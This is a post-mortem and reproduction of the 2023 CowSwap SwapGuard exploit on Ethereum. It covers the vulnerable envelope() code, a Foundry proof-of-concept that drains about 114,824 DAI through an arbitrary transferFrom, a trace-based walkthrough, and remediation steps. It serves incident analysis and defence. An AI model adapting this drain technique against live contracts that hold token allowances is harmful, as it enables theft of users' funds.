Reproduced Exploit
CowSwap `SwapGuard` Exploit — Unvalidated Interaction Target in `envelope()` (arbitrary `transferFrom` under maxint `allowedLoss`)
1. SwapGuard.envelope(Data[]{target,value,callData}, vault, tokens, tokenPrices, balanceChanges, allowedLoss) is a generic "execute these calls and then check the vault didn't lose too much" helper (contracts_SwapGuard.sol:31-70).
Loss
114,824.890807160711319588 DAI (= 114,824,890,807,160,711,319,588 wei) drained from the GPv2Settlement contra…
Chain
Ethereum
Category
Other
Date
Feb 2023
Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2023-02-CowSwap_exp in the
evm-hack-registrymirror. Upstream DeFiHackLabs PoC:src/test/…/CowSwap_exp.sol.
Vulnerability classes: vuln/access-control/missing-auth · vuln/dependency/unsafe-external-call
Reproduction: the PoC compiles & runs in an isolated Foundry project at this project folder. The fork is served offline from a local
anvil_state.jsonsnapshot (createSelectForkpoints athttp://127.0.0.1:8545, block16574048); no public RPC is required. Full verbose trace: output.txt. Verified vulnerable source: SwapGuard, with the victim/approver GPv2Settlement.
Key info#
| Loss | 114,824.890807160711319588 DAI (= 114,824,890,807,160,711,319,588 wei) drained from the GPv2Settlement contract — tx 0x90b468608fbcc7faef46502b198471311baca3baab49242a4a85b73d4924379b |
| Vulnerable contract | SwapGuard — 0xcD07a7695E3372aCD2B2077557DE93e667B92bd8 |
| Drained-from contract | GPv2Settlement (CoW Protocol settlement) — 0x9008D19f58AAbD9eD0D60971565AA8510560ab41 |
| Victim pool / vault | GPv2Settlement's DAI balance (leftover settlement liquidity the contract had approved to SwapGuard) |
| Attacker EOA / contract | PoC attacker contract ContractTest — 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 (passed as vault to envelope) |
| Attack tx | 0x90b46860…4379b |
| Chain / block / date | Ethereum mainnet / 16,574,048 / Feb 7, 2023 |
| Compiler | SwapGuard: Solidity v0.8.15, optimizer enabled, 1,000,000 runs; GPv2Settlement: v0.7.6, optimizer enabled, 1,000,000 runs (per _meta.json) |
| Bug class | Trust-boundary / arbitrary-call — caller-supplied interaction target+callData executed in SwapGuard's context; only post-check is a balanceOf(vault) delta gated by attacker-controlled balanceChanges/tokenPrices/allowedLoss |
TL;DR#
-
SwapGuard.envelope(Data[]{target,value,callData}, vault, tokens, tokenPrices, balanceChanges, allowedLoss)is a generic "execute these calls and then check the vault didn't lose too much" helper (contracts_SwapGuard.sol:31-70). -
The "execute these calls" step is a raw low-level
interaction.target.call{value: interaction.value}(interaction.callData)(:49) with no whitelist ontarget, no restriction oncallData, and nomsg.sender/origin check. The call runs asSwapGuarditself, so it inherits every approvalSwapGuardholds. -
GPv2Settlementhad grantedSwapGuardan unlimited DAI allowance (DAI.allowance(GPv2Settlement, SwapGuard) == type(uint256).max, output.txt:24-25). BecauseSwapGuard.envelopeis apublic payableentry with no access control, any caller can drive that allowance. -
The only safety net is the post-interaction balance check: for each token, if
balanceOf(vault)ended up belowbalancesBefore + balanceChanges[i], the shortfall (×tokenPrices[i]) is added tototalLoss, which reverts only if it exceedsallowedLoss(:55-68). -
Every input to that check is caller-controlled. The attacker sets
vault = address(this)(their own contract),balanceChanges[0] = 0,tokenPrices[0] = 0, andallowedLoss = type(uint256).max. WithexpectedBalanceChange = 0andtokenPrices = 0,totalLossis forced to 0 regardless of what happened, so the revert can never fire — andallowedLoss = maxis a belt-and-suspenders bypass. -
The attacker's single interaction is
DAI.transferFrom(GPv2Settlement, attackerContract, fullBalance)— sized tomin(GPv2Settlement's DAI balance, its allowance to SwapGuard)(CowSwap_exp.sol:43-50). Because the call is made by SwapGuard, DAI'sallowancecheck passes. -
Net result: 114,824.890807160711319588 DAI moves from
GPv2Settlementto the attacker contract in oneenvelope()call, verified byDAI.balanceOfbefore/after in the trace (output.txt:22-23, output.txt:38-39).
Background — what CowSwap / SwapGuard does#
CoW Protocol (formerly Gnosis Protocol v2, "GPv2") batches user limit orders and settles them on-chain against AMMs and
its own batch auction. The settlement flow lives in GPv2Settlement
(src_contracts_GPv2Settlement.sol), which is the
contract that actually holds order deposits and pulls/pushes tokens. As part of a settlement it may need to perform
arbitrary auxiliary calls — e.g. unwrap WETH, claim rewards, sweep a fee — via executeInteractions
(:450-470), which deliberately forbids only
one target: its own vaultRelayer (:458-461).
SwapGuard is a separate, much smaller contract whose stated purpose (from its own NatSpec) is to "limit the amount of
tokens that can be lost in a single transaction"
(contracts_SwapGuard.sol:7-10). Its single function
envelope():
- snapshots
tokens[i].balanceOf(vault)before, - blindly executes a caller-supplied list of
{target, value, callData}interactions, - re-checks the vault's balances after, and reverts if the loss exceeded
allowedLoss.
The intended caller is CoW's own settlement/backend, which would pass a vault it controls and a conservative
allowedLoss. The bug is that nothing in the contract enforces that intent — envelope is public payable and the
"loss" arithmetic is fully attacker-steerable.
On-chain state at the fork block (read directly from the trace):
| Parameter | Value | Source |
|---|---|---|
DAI address | 0x6B175474E89094C44Da98b954EedeAC495271d0F | output.txt:13 |
SwapGuard address | 0xcD07a7695E3372aCD2B2077557DE93e667B92bd8 | output.txt:15 |
GPv2Settlement address | 0x9008D19f58AAbD9eD0D60971565AA8510560ab41 | output.txt:17 |
DAI.balanceOf(GPv2Settlement) | 114824890807160711319588 wei (~114,824.89 DAI) | output.txt:22-23 |
DAI.allowance(GPv2Settlement → SwapGuard) | type(uint256).max (1.157e77) | output.txt:24-25 |
Attacker contract (vault) | 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 | output.txt:26 |
The two facts that make this a critical bug: GPv2Settlement had pre-approved SwapGuard for unlimited DAI, and
SwapGuard.envelope would execute any calldata from any caller — so the unlimited allowance was reachable by the
public.
The vulnerable code#
1. SwapGuard.envelope — arbitrary low-level call with no target/auth checks#
function envelope(
Data[] calldata interactions,
address vault,
IERC20[] calldata tokens,
uint256[] calldata tokenPrices,
int256[] calldata balanceChanges,
uint256 allowedLoss
) public payable {
unchecked {
// save all current balances of tokens
uint256[] memory balancesBeforeInteractions = new uint256[](https://github.com/sanbir/evm-hack-registry/blob/main/2023-02-CowSwap_exp/tokens.length);
for (uint256 i = 0; i < tokens.length; i++) {
balancesBeforeInteractions[i] = tokens[i].balanceOf(vault);
}
for (uint256 i = 0; i < interactions.length; i++) {
Data memory interaction = interactions[i];
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returnData) = interaction.target.call{value: interaction.value}(interaction.callData);
if (!success) {
revert BadInteractionResponse(returnData);
}
}
// ... post-check (subsection 2) ...
}
}
(contracts_SwapGuard.sol:31-53)
interaction.target and interaction.callData are taken verbatim from calldata. The call is dispatched from
SwapGuard's own context, so msg.sender of the inner call is SwapGuard — which is the exact address whose allowance
GPv2Settlement had set to type(uint256).max. There is no whitelist of permitted targets, no msg.sender /
tx.origin gate on envelope, and no re-entrancy guard.
2. The "loss" post-check is fully attacker-controlled#
uint256 totalLoss = 0;
// check that we didn't loose more than allowedLoss
// it is okay if we got more than expected
for (uint256 i = 0; i < tokens.length; i++) {
uint256 balanceAfterInteraction = tokens[i].balanceOf(vault);
int256 expectedBalanceChange = balanceChanges[i];
int256 actualBalanceChange = balanceAfterInteraction.toInt256() - balancesBeforeInteractions[i].toInt256();
if (actualBalanceChange < expectedBalanceChange) {
totalLoss += (expectedBalanceChange - actualBalanceChange).toUint256() * tokenPrices[i];
}
if (totalLoss > allowedLoss) {
revert LostMoreThanAllowed(totalLoss, allowedLoss);
}
}
(contracts_SwapGuard.sol:55-68)
Three independent caller-supplied knobs defeat this check:
vaultis the address whose balance is measured. The attacker passesvault = address(this), so the "balance of the vault" is the attacker contract's own DAI balance, which grows by the stolen amount.balanceChanges[i]is the expected delta. The attacker passes0, so the check only fires if the attacker's balance went down — it didn't.tokenPrices[i]multiplies any shortfall. The attacker passes0, so even a real shortfall contributes nothing tototalLoss.allowedLossis the revert threshold. The attacker passestype(uint256).max.
Any one of those being attacker-controlled is enough; here all four are.
3. The exploit interaction (attacker-built, executed by SwapGuard)#
function testExploit() external {
uint256 amount = DAI.balanceOf(GPv2Settlement);
if (DAI.allowance(GPv2Settlement, address(swapGuard)) < amount) {
amount = DAI.allowance(GPv2Settlement, address(swapGuard));
}
bytes memory callDatas =
abi.encodeWithSignature("transferFrom(address,address,uint256)", GPv2Settlement, address(this), amount);
SwapGuard.Data[] memory interactions = new SwapGuard.Data[](https://github.com/sanbir/evm-hack-registry/tree/main/2023-02-CowSwap_exp/1);
interactions[0] = SwapGuard.Data({target: address(DAI), value: 0, callData: callDatas});
address vault = address(this);
// ...
balanceChanges[0] = 0;
uint256 allowedLoss = type(uint256).max;
swapGuard.envelope(interactions, vault, tokens, tokenPrices, balanceChanges, allowedLoss);
}
amount is clamped to the smaller of the victim's balance and its allowance (both effectively unlimited here), then
encoded as DAI.transferFrom(GPv2Settlement → attackerContract, amount). Because this calldata is dispatched by
SwapGuard, DAI sees msg.sender = SwapGuard and draws on the
GPv2Settlement → SwapGuard allowance.
Root cause — why it was possible#
SwapGuard was designed to be a guard, but its threat model was inverted. The contract trusts the caller of
envelope() to supply benign interactions, an honest vault, honest balanceChanges, and a conservative allowedLoss.
None of those assumptions are enforced in code. Concretely, four design failures compose into the drain:
- No caller authorization.
envelopeispublic payablewith noonlyOwner/onlySettler/allowlist. Anyone can invoke it — there is not even anauthmodifier like the oneGPv2Settlement.settleuses (itsonlySolvermodifier, :85-90, applied tosettleat :121-128). - Unvalidated, arbitrary interaction target.
interaction.target.call(callData)runs any code against any address asSwapGuard. Contrast with GPv2Settlement's ownexecuteInteractions, which at minimum forbids thevaultRelayer(:458-461);SwapGuardforbids nothing. - The safety check measures the wrong account and the wrong direction. It measures
vault(caller-chosen) and only counts downward deltas againstexpectedBalanceChange(caller-chosen). A transfer into the attacker'svaultregisters as a gain and is explicitly ignored ("it is okay if we got more than expected", :57-58). - All loss-arithmetic inputs are caller-supplied.
tokenPrices,balanceChanges, andallowedLossall come from calldata. SettingtokenPrices[i]=0zeroes any loss;allowedLoss=maxmakes the revert unreachable regardless.
The proximate enabler is the standing unlimited DAI allowance from GPv2Settlement to SwapGuard
(output.txt:24-25). Without that approval the inner transferFrom would revert. But the vulnerability
is in SwapGuard: an arbitrary-call public entry that runs with every approval the guard holds, policed only by
attacker-supplied loss parameters.
Preconditions#
- A token (here DAI) for which some victim has granted
SwapGuarda non-zero allowance — in this caseGPv2Settlement → SwapGuard = type(uint256).max(output.txt:24-25). - Non-zero victim token balance held by the approver (
GPv2Settlementheld 114,824.89 DAI, output.txt:22-23). - Gas to make a single transaction. No flash loan, no privileged role, no timing window —
envelopeis always open.
Attack walkthrough (with on-chain numbers from the trace)#
The trace is short (47 lines); every number below is cited to a line in output.txt.
| # | Step | Value | Source |
|---|---|---|---|
| 0 | Read victim balance — DAI.balanceOf(GPv2Settlement) | 114824890807160711319588 wei ≈ 114,824.890807 DAI | output.txt:22-23 |
| 0 | Read victim allowance to SwapGuard — DAI.allowance(GPv2Settlement, SwapGuard) | 115792089237316195423570985008687907853269984665640564039457584007913129639935 (= type(uint256).max) | output.txt:24-25 |
| 1 | Build the interaction — amount = min(balance, allowance) = 114824890807160711319588; calldata = DAI.transferFrom(GPv2Settlement, attackerContract, amount); vault = attackerContract; balanceChanges=[0], tokenPrices=[0], allowedLoss = type(uint256).max | — | output.txt:26 |
| 2 | Call SwapGuard.envelope(...) | — | output.txt:26 |
| 2a | ↳ inside envelope: snapshot DAI.balanceOf(attackerContract) before | 0 | output.txt:27-28 |
| 2b | ↳ execute interaction: DAI.transferFrom(GPv2Settlement → attackerContract, 114824890807160711319588) | emits Transfer(from=GPv2Settlement, to=attackerContract, value=114824890807160711319588) | output.txt:29-34 |
| 2c | ↳ inside envelope: snapshot DAI.balanceOf(attackerContract) after | 114824890807160711319588 wei ≈ 114,824.89 DAI | output.txt:35-36 |
| 2d | ↳ post-check: actualChange (≈+1.148e23) < expectedChange (0)? No → no loss added; totalLoss=0 ≤ max → no revert | — | output.txt:37 |
| 3 | Confirm attacker balance — DAI.balanceOf(attackerContract) | 114824890807160711319588 wei ≈ 114,824.890807160711319588 DAI | output.txt:38-39 |
| 4 | Log — Attacker DAI balance after exploit: 114824.890807160711319588 | matches | output.txt:42 |
State-evolution of the two key accounts:
| Account | DAI before | DAI after | Δ |
|---|---|---|---|
GPv2Settlement (0x9008D1…) | 114,824.890807160711319588 | 0 (asserted by the storage-diff in trace) | −114,824.89 |
Attacker contract (0x7FA938…) | 0 | 114,824.890807160711319588 | +114,824.89 |
The storage-diff at output.txt:32-33 shows the GPv2Settlement DAI balance slot
(0x31adef62…f368) dropping from 0x…1850ab783cc486b29024 to 0 and the attacker's slot
(0x6e10ff27…1f78) rising from 0 to the same value — a clean one-to-one transfer.
Profit / loss accounting (DAI)#
| Direction | Amount (DAI) |
|---|---|
| Attacker DAI before | 0 |
| Attacker DAI after | 114,824.890807160711319588 |
| Net profit | +114,824.890807160711319588 |
| GPv2Settlement DAI before | 114,824.890807160711319588 |
| GPv2Settlement DAI after | 0 |
| Victim loss | −114,824.890807160711319588 |
The PoC does not borrow or return capital — the entire delta is genuine stolen liquidity. The final log line "Attacker DAI balance after exploit: 114824.890807160711319588" (output.txt:42) is the asserted result.
Diagrams#
Sequence of the attack#
Victim/approver state evolution#
The flaw inside SwapGuard.envelope#
Why the guard never trips: attacker steers every loss input#
Why each magic number#
amount = min(DAI.balanceOf(GPv2Settlement), DAI.allowance(GPv2Settlement, SwapGuard))(CowSwap_exp.sol:43-46): drains the maximum the guard is authorized to pull. Both are effectively unlimited at the fork block, soamountresolves to the full114,824.890807…DAI balance (output.txt:22-25).target = address(DAI),callData = transferFrom(GPv2Settlement, address(this), amount)(CowSwap_exp.sol:47-50):transferFromis the only DAI method that both consumes an allowance and moves tokens out of a third party. Because SwapGuard is the caller, theGPv2Settlement → SwapGuardallowance is what gets spent.vault = address(this)(CowSwap_exp.sol:51): makes the post-check measure the attacker's balance, which only goes up.tokenPrices[0] = 0(CowSwap_exp.sol:54-55): zeroes the loss term even if a shortfall existed.balanceChanges[0] = 0(CowSwap_exp.sol:56-57): sets the expected delta to zero so any gain is treated as "fine" and any small dip is the only thing that could count.allowedLoss = type(uint256).max(CowSwap_exp.sol:58): belt-and-suspenders — the revert threshold is unreachable no matter what.
Remediation#
- Authorize the caller.
envelopemust be gated —onlyOwner, anauth/allowlist modifier, or restricted to the designated settler contract. GPv2Settlement already uses asolverAuth-style pattern for its own privileged entry points;SwapGuardshould do the same. This single change kills the public-call vector. - Whitelist
interaction.target. Even an authorized caller should not be able to point the low-levelcallat an arbitrary address. Maintain an allowlist of permitted interaction targets (or at minimum forbid token contracts whose allowances the guard holds — the exact class that enablestransferFromdrains). Mirror GPv2Settlement'sexecuteInteractions, which forbids itsvaultRelayer(:458-461). - Measure the right account. The post-check should measure the token balance of the approver/victim (the
address whose allowance is being spent), not a caller-supplied
vault. A drain viatransferFrom(victim, …)would then register as a real loss on the victim's balance. - Do not let the caller set the loss parameters.
tokenPrices,balanceChanges, andallowedLossshould come from a trusted source (oracle / hardcoded config / settlement context), not from calldata. At minimum, rejecttokenPrices[i] == 0andallowedLoss == type(uint256).max. - Revoke excess allowances. The standing
type(uint256).maxallowance fromGPv2SettlementtoSwapGuardamplified a logic bug into a full drain. Use scoped, short-lived, or per-call allowances (e.g., via aPermit2-style signature) so that even a guard compromise is bounded. - Add a re-entrancy guard and a
nonPayablemodifier unless native-value interactions are genuinely required; thepayable+unchecked+ arbitrary-call combination is a footgun.
How to reproduce#
The PoC runs offline via the shared harness, which serves the fork from the bundled anvil_state.json
(createSelectFork("http://127.0.0.1:8545", 16_574_048) — CowSwap_exp.sol:36). No public RPC
endpoint is required.
_shared/run_poc.sh 2023-02-CowSwap_exp --mt testExploit -vvvvv
- Chain / fork: Ethereum mainnet, block 16,574,048 (Feb 7, 2023), served locally by anvil from
anvil_state.json. foundry.toml:evm_version = "cancun",eth_rpc_retries = 25,fs_permissions = [{ access = "read", path = "./"}].- Test function:
testExploitintest/CowSwap_exp.sol(contractContractTest). - Result:
[PASS] testExploit()withAttacker DAI balance after exploit: 114824.890807160711319588.
Expected tail (output.txt:4-7, 45-47):
Ran 1 test for test/CowSwap_exp.sol:ContractTest
[PASS] testExploit() (gas: 59974)
Logs:
Attacker DAI balance after exploit: 114824.890807160711319588
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.46s (1.27s CPU time)
Ran 1 test suite in 2.46s (2.46s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Reference: MevRefund — https://twitter.com/MevRefund/status/1622793836291407873 ; PeckShield — https://twitter.com/peckshield/status/1622801412727148544 (CowSwap / GPv2Settlement DAI drain, Ethereum mainnet, Feb 7 2023).
Sources & further analysis#
Reproductions & code
- Standalone PoC + full trace: 2023-02-CowSwap_exp (evm-hack-registry mirror).
- Upstream DeFiHackLabs PoC:
CowSwap_exp.sol. - Attack transaction: view on explorer.
Alerts & third-party analyses
- Original alert / thread: post on X.
- DeFiHackLabs incident explorer: search "CowSwap
SwapGuardExploit". - Web3Sec X hacked database: search.
- Rekt leaderboard: search.
- Solodit incident search: search.
These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.